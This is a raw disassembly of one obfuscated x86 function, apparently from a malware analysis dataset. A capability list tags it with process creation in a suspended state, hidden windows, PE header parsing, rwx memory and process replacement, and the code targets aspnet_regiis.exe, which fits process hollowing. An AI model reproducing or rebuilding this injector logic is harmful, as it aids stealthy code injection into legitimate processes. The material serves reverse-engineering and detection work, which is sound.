Function at 0x10009b80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x154
mov eax, dword [0x1007b080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x15c], 0x995fcf1a
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
sub eax, 0x80fffe7c
je 0x1000e150
jmp 0x10009bbc
mov eax, dword [ebp - 0x160]
sub eax, 0x817501e6
je 0x1000e496
jmp 0x10009bd2
mov eax, dword [ebp - 0x160]
sub eax, 0x82c9abeb
je 0x1000f493
jmp 0x10009be8
mov eax, dword [ebp - 0x160]
sub eax, 0x837585fa
je 0x1000f0a5
jmp 0x10009bfe
mov eax, dword [ebp - 0x160]
sub eax, 0x83a2a1a8
je 0x1000f829
jmp 0x10009c14
mov eax, dword [ebp - 0x160]
sub eax, 0x83d9e206
je 0x1000ced8
jmp 0x10009c2a
mov eax, dword [ebp - 0x160]
sub eax, 0x86b54d27
je 0x1000ba84
jmp 0x10009c40
mov eax, dword [ebp - 0x160]
sub eax, 0x86c016cd
je 0x1000d84f
jmp 0x10009c56
mov eax, dword [ebp - 0x160]
sub eax, 0x86de07cc
je 0x1000cf5e
jmp 0x10009c6c
mov eax, dword [ebp - 0x160]
sub eax, 0x8703d78c
je 0x1000c20c
jmp 0x10009c82
mov eax, dword [ebp - 0x160]
sub eax, 0x878e3906
je 0x1000c926
jmp 0x10009c98
mov eax, dword [ebp - 0x160]
sub eax, 0x88dfbb52
je 0x1000f44e
jmp 0x10009cae
mov eax, dword [ebp - 0x160]
sub eax, 0x893d6082
je 0x1000e563
jmp 0x10009cc4
mov eax, dword [ebp - 0x160]
sub eax, 0x89b66bde
je 0x1000e141
jmp 0x10009cda
mov eax, dword [ebp - 0x160]
sub eax, 0x89bc1172
je 0x1000e009
jmp 0x10009cf0
mov eax, dword [ebp - 0x160]
sub eax, 0x8a4f1dd7
je 0x1000c639
jmp 0x10009d06
mov eax, dword [ebp - 0x160]
sub eax, 0x8b11abff
je 0x1000fa3b
jmp 0x10009d1c
mov eax, dword [ebp - 0x160]
sub eax, 0x8e13b36c
je 0x1000cb51
jmp 0x10009d32
mov eax, dword [ebp - 0x160]
sub eax, 0x8fbac326
je 0x1000ed7d
jmp 0x10009d48
mov eax, dword [ebp - 0x160]
sub eax, 0x8fc868ce
je 0x1000ed4a
jmp 0x10009d5e
mov eax, dword [ebp - 0x160]
sub eax, 0x8fecc3fc
je 0x1000c952
jmp 0x10009d74
mov eax, dword [ebp - 0x160]
sub eax, 0x9062fa59
je 0x1000c848
jmp 0x10009d8a
mov eax, dword [ebp - 0x160]
sub eax, 0x90716d8a
je 0x1000f053
jmp 0x10009da0
mov eax, dword [ebp - 0x160]
sub eax, 0x912c33d4
je 0x1000d50e
jmp 0x10009db6
mov eax, dword [ebp - 0x160]
sub eax, 0x91aa409a
je 0x1000c774
jmp 0x10009dcc
mov eax, dword [ebp - 0x160]
sub eax, 0x9280a21b
je 0x1000e04d
jmp 0x10009de2
mov eax, dword [ebp - 0x160]
sub eax, 0x93240c9b
je 0x1000d1d3
jmp 0x10009df8
mov eax, dword [ebp - 0x160]
sub eax, 0x932f3c0c
je 0x1000f96c
jmp 0x10009e0e
mov eax, dword [ebp - 0x160]
sub eax, 0x9354a048
je 0x1000c765
jmp 0x10009e24
mov eax, dword [ebp - 0x160]
sub eax, 0x93a97b44
je 0x1000dc8a
jmp 0x10009e3a
mov eax, dword [ebp - 0x160]
sub eax, 0x94d98b64
je 0x1000d2fb
jmp 0x10009e50
mov eax, dword [ebp - 0x160]
sub eax, 0x9528401b
je 0x1000bcf5
jmp 0x10009e66
mov eax, dword [ebp - 0x160]
sub eax, 0x9688e3df
je 0x1000d60b
jmp 0x10009e7c
mov eax, dword [ebp - 0x160]
sub eax, 0x97cd09d1
je 0x1000d1c4
jmp 0x10009e92
mov eax, dword [ebp - 0x160]
sub eax, 0x97d867f1
je 0x1000d648
jmp 0x10009ea8
mov eax, dword [ebp - 0x160]
sub eax, 0x9822a46d
je 0x1000bfc3
jmp 0x10009ebe
mov eax, dword [ebp - 0x160]
sub eax, 0x995fcf1a
je 0x1000b8b7
jmp 0x10009ed4
mov eax, dword [ebp - 0x160]
sub eax, 0x9a3ca0ad
je 0x1000dfe2
jmp 0x10009eea
mov eax, dword [ebp - 0x160]
sub eax, 0x9a6f6227
je 0x1000f0c3
jmp 0x10009f00
mov eax, dword [ebp - 0x160]
sub eax, 0x9b097b10
je 0x1000c935
jmp 0x10009f16
mov eax, dword [ebp - 0x160]
sub eax, 0x9c6a6d2e
je 0x1000de79
jmp 0x10009f2c
mov eax, dword [ebp - 0x160]
sub eax, 0x9c95314b
je 0x1000fcac
jmp 0x10009f42
mov eax, dword [ebp - 0x160]
sub eax, 0x9e4738cf
je 0x1000e581
jmp 0x10009f58
mov eax, dword [ebp - 0x160]
sub eax, 0x9e4bff39
je 0x1000f7ed
jmp 0x10009f6e
mov eax, dword [ebp - 0x160]
sub eax, 0xa2ff892d
je 0x1000f86b
jmp 0x10009f84
mov eax, dword [ebp - 0x160]
sub eax, 0xa41fc953
je 0x1000d3dc
jmp 0x10009f9a
mov eax, dword [ebp - 0x160]
sub eax, 0xa43ddda6
je 0x1000d7d8
jmp 0x10009fb0
mov eax, dword [ebp - 0x160]
sub eax, 0xa5f6c8d9
je 0x1000f1d6
jmp 0x10009fc6
mov eax, dword [ebp - 0x160]
sub eax, 0xa889bf2f
je 0x1000d4d9
jmp 0x10009fdc
mov eax, dword [ebp - 0x160]
sub eax, 0xa8b03da5
je 0x1000bde4
jmp 0x10009ff2
mov eax, dword [ebp - 0x160]
sub eax, 0xaa6b3497
je 0x1000f8f4
jmp 0x1000a008
mov eax, dword [ebp - 0x160]
sub eax, 0xabe75ef8
je 0x1000d8b9
jmp 0x1000a01e
mov eax, dword [ebp - 0x160]
sub eax, 0xac1d5b43
je 0x1000f079
jmp 0x1000a034
mov eax, dword [ebp - 0x160]
sub eax, 0xac73240b
je 0x1000f81a
jmp 0x1000a04a
mov eax, dword [ebp - 0x160]
sub eax, 0xac9281b4
je 0x1000f838
jmp 0x1000a060
mov eax, dword [ebp - 0x160]
sub eax, 0xae427db8
je 0x1000fb3e
jmp 0x1000a076
mov eax, dword [ebp - 0x160]
sub eax, 0xae611397
je 0x1000df48
jmp 0x1000a08c
mov eax, dword [ebp - 0x160]
sub eax, 0xaff74695
je 0x1000c7a6
jmp 0x1000a0a2
mov eax, dword [ebp - 0x160]
sub eax, 0xb161f9fe
je 0x1000caf2
jmp 0x1000a0b8
mov eax, dword [ebp - 0x160]
sub eax, 0xb253dae4
je 0x1000c2ba
jmp 0x1000a0ce
mov eax, dword [ebp - 0x160]
sub eax, 0xb26a5ea0
je 0x1000e50c
jmp 0x1000a0e4
mov eax, dword [ebp - 0x160]
sub eax, 0xb2fe7380
je 0x1000c1e7
jmp 0x1000a0fa
mov eax, dword [ebp - 0x160]
sub eax, 0xb478cd28
je 0x1000d1f1
jmp 0x1000a110
mov eax, dword [ebp - 0x160]
sub eax, 0xb58be3b0
je 0x1000dfa9
jmp 0x1000a126
mov eax, dword [ebp - 0x160]
sub eax, 0xb60d2bdf
je 0x1000f264
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc662a88
mov ecx, 0x3c3c4473
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x1f42aaf9
jmp 0x1000fd38
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
mov edx, eax
add edx, 0x39b0694e
sub edx, 1
sub edx, 0x39b0694e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x714a2d61
mov ecx, 0x6653024f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac73240b
mov ecx, 0x6e76d710
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dl, byte [ebp - 0x155]
mov eax, 0x74642903
mov ecx, 0x6e652260
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov byte [ebp - 0x155], 0
mov dword [ebp - 0x15c], 0x63ff101d
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x64acb253
jmp 0x1000fd38
mov eax, dword [ebp - 0xc0]
cmp eax, 0xefb8edc
setg al
and al, 1
mov byte [ebp - 0xba], al
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
mov edx, eax
sub edx, 0x23bec613
sub edx, 1
add edx, 0x23bec613
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23d5dfc6
mov ecx, 0x1e5c242d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
xor eax, eax
mov dl, al
mov eax, 0xbd6ea765
mov ecx, 0x6499c3bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x91aa409a
jmp 0x1000fd38
mov eax, dword [ebp - 0x148]
mov dword [eax], 0xefb8eda
mov eax, dword [ebp - 0x148]
cmp dword [eax], 0xefb8ee4
setg al
and al, 1
mov byte [ebp - 0xb1], al
mov dword [ebp - 0x15c], 0xaff74695
jmp 0x1000fd38
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
mov edx, eax
sub edx, 0xa203aba0
sub edx, 1
add edx, 0xa203aba0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd556eee3
mov ecx, 0xbcc3d7ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dl, byte [ebp - 0xb1]
mov eax, 0x9b097b10
mov ecx, 0xd2571594
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x25b45725
jmp 0x1000fd38
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x15c], 0x8fecc3fc
jmp 0x1000fd38
mov ecx, dword [0x1007c52c]
mov eax, dword [0x1007c528]
mov edx, ecx
sub edx, 0x4fb001a6
sub edx, 1
add edx, 0x4fb001a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x157a9bde
mov ecx, 0x2de8132
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
mov edx, eax
sub edx, 0x53920570
sub edx, 1
add edx, 0x53920570
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb651ebd4
mov ecx, 0x8e13b36c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0xeff9e5e8
jmp 0x1000fd38
mov eax, dword [ebp - 0x140]
mov byte [eax], 1
mov dword [ebp - 0x15c], 0x16979944
jmp 0x1000fd38
mov eax, dword [ebp - 0x140]
mov byte [eax], 1
mov ecx, dword [0x1007c52c]
mov eax, dword [0x1007c528]
mov edx, ecx
sub edx, 0xa4109ed6
sub edx, 1
add edx, 0xa4109ed6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x39fa0d61
mov ecx, 0x1b9447db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x93240c9b
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0xe8d974e3
jmp 0x1000fd38
mov ecx, dword [0x1007c52c]
mov eax, dword [0x1007c528]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x932f3c0c
mov ecx, 0xf99a6907
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dl, byte [ebp - 0xa1]
mov eax, 0x18695e15
mov ecx, 0xca7403ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x100e927c
jmp 0x1000fd38
mov dl, 1
mov eax, 0x14200db8
mov ecx, 0xee68f767
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x404c8bd4
jmp 0x1000fd38
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax]
sub ecx, 0x9e59e062
add ecx, 1
add ecx, 0x9e59e062
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0xca8688b6
jmp 0x1000fd38
mov eax, dword [ebp - 0x138]
mov dword [eax], 1
mov dword [ebp - 0x15c], 0xd539b506
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x1a0eadbb
jmp 0x1000fd38
mov dl, byte [ebp - 0x95]
mov eax, 0x639f62ab
mov ecx, 0xeb92997d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0x130]
mov dword [eax], 0xefb8eda
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xecaa60b3
mov ecx, 0x63039ffa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0xefb8ebe
mov dword [ebp - 0x15c], 0xa2d16d5
jmp 0x1000fd38
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3fa3745e
mov ecx, 0x371384bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0x12c]
mov dword [eax], 1
mov dword [ebp - 0x15c], 0x6e2738fe
jmp 0x1000fd38
mov dl, byte [ebp - 0x85]
mov eax, 0x5893e27e
mov ecx, 0xc62b2858
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x47f913e6
jmp 0x1000fd38
mov dl, 1
mov eax, 0x9280a21b
mov ecx, 0x16c2d20f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0x128]
mov byte [eax], 1
mov dword [ebp - 0x15c], 0x6c403351
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x80fffe7c
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x47f913e6
jmp 0x1000fd38
mov ecx, dword [0x1007c52c]
mov eax, dword [0x1007c528]
mov edx, ecx
add edx, 0xcb4025f0
sub edx, 1
sub edx, 0xcb4025f0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xae427db8
mov ecx, 0xb26a5ea0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0x104]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xae427db8
mov ecx, 0x893d6082
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x793ded72
jmp 0x1000fd38
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
mov edx, eax
add edx, 0x1f212430
sub edx, 1
sub edx, 0x1f212430
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8feea86
mov ecx, 0xc833c0a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x15c], 0x8fbac326
jmp 0x1000fd38
mov eax, dword [0x1007c52c]
mov ecx, dword [0x1007c528]
mov edx, eax
add edx, 0xdf70edca
sub edx, 1
sub edx, 0xdf70edca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2832e3b
mov ecx, 0xc90e0863
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x118]
mov esi, dword [eax]
mov eax, 0xc692e1d9
mov ecx, 0xac1d5b43
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0xba4ff0ae
jmp 0x1000fd38
mov edx, dword [ebp - 0x30]
mov eax, 0xeaa50c32
mov ecx, 0x9a6f6227
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
add ecx, 0x5f8fce5e
add ecx, 8
sub ecx, 0x5f8fce5e
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x4b173bae
sub ecx, 8
sub ecx, 0x4b173bae
shr ecx, 1
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x15c], 0x56dfa950
jmp 0x1000fd38
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x27], al
mov ecx, dword [0x1007c52c]
mov eax, dword [0x1007c528]
mov edx, ecx
add edx, 0x9a7dd0d3
sub edx, 1
sub edx, 0x9a7dd0d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe69c6c90
mov ecx, 0xb60d2bdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x1968e137
jmp 0x1000fd38
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0x5a4c27e5
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x6910820b
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x6e76d710
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0xf46630a6
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x576a8962
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x180fed4c
jmp 0x1000fd38
mov eax, dword [ebp - 0x148]
mov dword [eax], 1
mov dword [ebp - 0x15c], 0x683e7818
jmp 0x1000fd38
mov eax, dword [ebp - 0x13c]
mov byte [eax], 1
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x15c], 0xf99a6907
jmp 0x1000fd38
mov dword [ebp - 0x15c], 0x3e46fa23
jmp 0x1000fd38
mov eax, dword [ebp - 0x104]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0xb26a5ea0
jmp 0x1000fd38
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe4]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0x3a50794b
jmp 0x1000fd38
jmp 0x10009ba0